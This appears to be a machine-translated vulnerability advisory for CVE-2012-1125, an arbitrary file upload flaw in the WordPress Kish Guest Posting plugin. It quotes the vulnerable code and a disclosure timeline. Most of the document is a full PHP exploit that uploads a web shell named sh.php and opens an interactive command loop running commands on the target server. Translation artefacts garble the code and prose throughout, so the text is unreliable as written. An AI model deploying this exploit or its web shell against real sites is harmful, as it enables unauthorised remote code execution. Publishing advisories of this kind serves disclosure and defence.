Release date:
Updated on:
Affected Systems:
Kish-guest-posting 1.0
Description:
--------------------------------------------------------------------------------
Bugtraq id: 51638
Cve id: CVE-2012-1125
WordPress is a Blog (Blog, Blog) engine developed using the PHP language and MySQL database. you can create your own Blog on servers that support PHP and MySQL databases.
Kish Guest Posting plugin 1.2 for uploadify/scripts/uploadify in versions earlier than WordPress. php has the unknown details File Upload Vulnerability. Remote attackers can exploit this vulnerability to execute arbitrary code by uploading files with the PHP extension and directly requesting files in a directory specified by folder parameters.
<* Source: EgiX (n0b0d13s@gmail.com)
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<? Php
/*
--------------------------------------------------------------------------------
Wordpress Kish Guest Posting Plugin 1.0 (uploadify. php) Unrestricted File Upload
--------------------------------------------------------------------------------
Author ......: Egidio Romano aka EgiX
Mail ......: n0b0d13s [at] gmail [dot] com
Software link...: http://kishpress.com/guest-posting-plugin/
+ ------------------------------------------------------------------------- +
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+ ------------------------------------------------------------------------- +
[-] Vulnerable code in/uploadify/scripts/uploadify. php
26. if (! Empty ($ _ FILES )){
27. $ tempFile = $ _ FILES ['filedata'] ['tmp _ name'];
28. $ targetPath = $ _ SERVER ['document _ root']. $ _ REQUEST ['folder']. '/';
29. $ targetFile = str_replace ('//', '/', $ targetPath). $ _ FILES ['filedata'] ['name'];
30. // $ fileTypes = str_replace ('*.', '', $ _ REQUEST ['fileext ']);
31. // $ fileTypes = str_replace (';', '|', $ fileTypes );
32. // $ typesArray = split ('\ |', $ fileTypes );
33. // $ fileParts = pathinfo ($ _ FILES ['filedata'] ['name']);
34.
35. // if (in_array ($ fileParts ['extension'], $ typesArray )){
36. // Uncomment the following line if you want to make the directory if it doesn't exist
37. // mkdir (str_replace ('//', '/', $ targetPath), 0755, true );
38.
39. move_uploaded_file ($ tempFile, $ targetFile );
40. echo str_replace ($ _ SERVER ['document _ root'], '', $ targetFile );
41. //} else {
42. // echo 'invalid file type .';
43 .//}
44 .}
Restricted access to this script isn' t properly realized, so an attacker might be able to upload
Arbitrary files containing malicious PHP code due to uploaded file extension isn' t properly checked.
[-] Disclosure timeline:
[19/12/2011]-Vulnerability discovered
[]-Vendor notified through http://kish.in/contact-me/
[07/01/2012]-No response from vendor, notified again via email
[16/01/2012]-After four weeks still no response
[23/01/2012]-Public disclosure
*/
Error_reporting (0 );
Set_time_limit (0 );
Ini_set ("default_socket_timeout", 5 );
Function http_send ($ host, $ packet)
{
If (! ($ Sock = fsockopen ($ host, 80 )))
Die ("\ n [-] No response from {$ host}: 80 \ n ");
Fputs ($ sock, $ packet );
Return stream_get_contents ($ sock );
}
Print "\ n + ------------------------------------------------------------------------------------ + ";
Print "\ n | Wordpress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX | ";
Print "\ n + ------------------------------------------------------------------------------------ + \ n ";
If ($ argc <3)
{
Print "\ nUsage...: php $ argv [0] Print "\ nExample...: php $ argv [0] localhost /";
Print "\ nExample...: php $ argv [0] localhost/wordpress/\ n ";
Die ();
}
$ Host = $ argv [1];
$ Path = $ argv [2];
$ Payload = "-- o0oOo0o \ r \ n ";
$ Payload. = "Content-Disposition: form-data; name = \" Filedata \ "; filename = \" sh. php \ "\ r \ n ";
$ Payload. = "<? Php error_reporting (0); print (___); passthru (base64_decode (\ $ _ SERVER [HTTP_CMD]); \ r \ n ";
$ Payload. = "-- o0oOo0o -- \ r \ n ";
$ Packet = "POST {$ path} wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify. php? Folder = {$ path} HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Content-Length:". strlen ($ payload). "\ r \ n ";
$ Packet. = "Content-Type: multipart/form-data; boundary = o0oOo0o \ r \ n ";
$ Packet. = "Connection: close \ r \ n {$ payload }";
If (! Preg_match ('/sh. php/', http_send ($ host, $ packet) die ("\ n [-] Upload failed! \ N ");
$ Packet = "GET {$ path} sh. php HTTP/1.0 \ r \ n ";
$ Packet. = "Host: {$ host} \ r \ n ";
$ Packet. = "Cmd: % s \ r \ n ";
$ Packet. = "Connection: close \ r \ n ";
While (1)
{
Print "\ nkish-shell #";
If ($ cmd = trim (fgets (STDIN) = "exit") break;
$ Response = http_send ($ host, sprintf ($ packet, base64_encode ($ cmd )));
Preg_match ('/___ (. *)/s', $ response, $ m )? Print $ m [1]: die ("\ n [-] Exploit failed! \ N ");
}
?>
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Kish
----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.kish.in/tag/kish-guest-posting/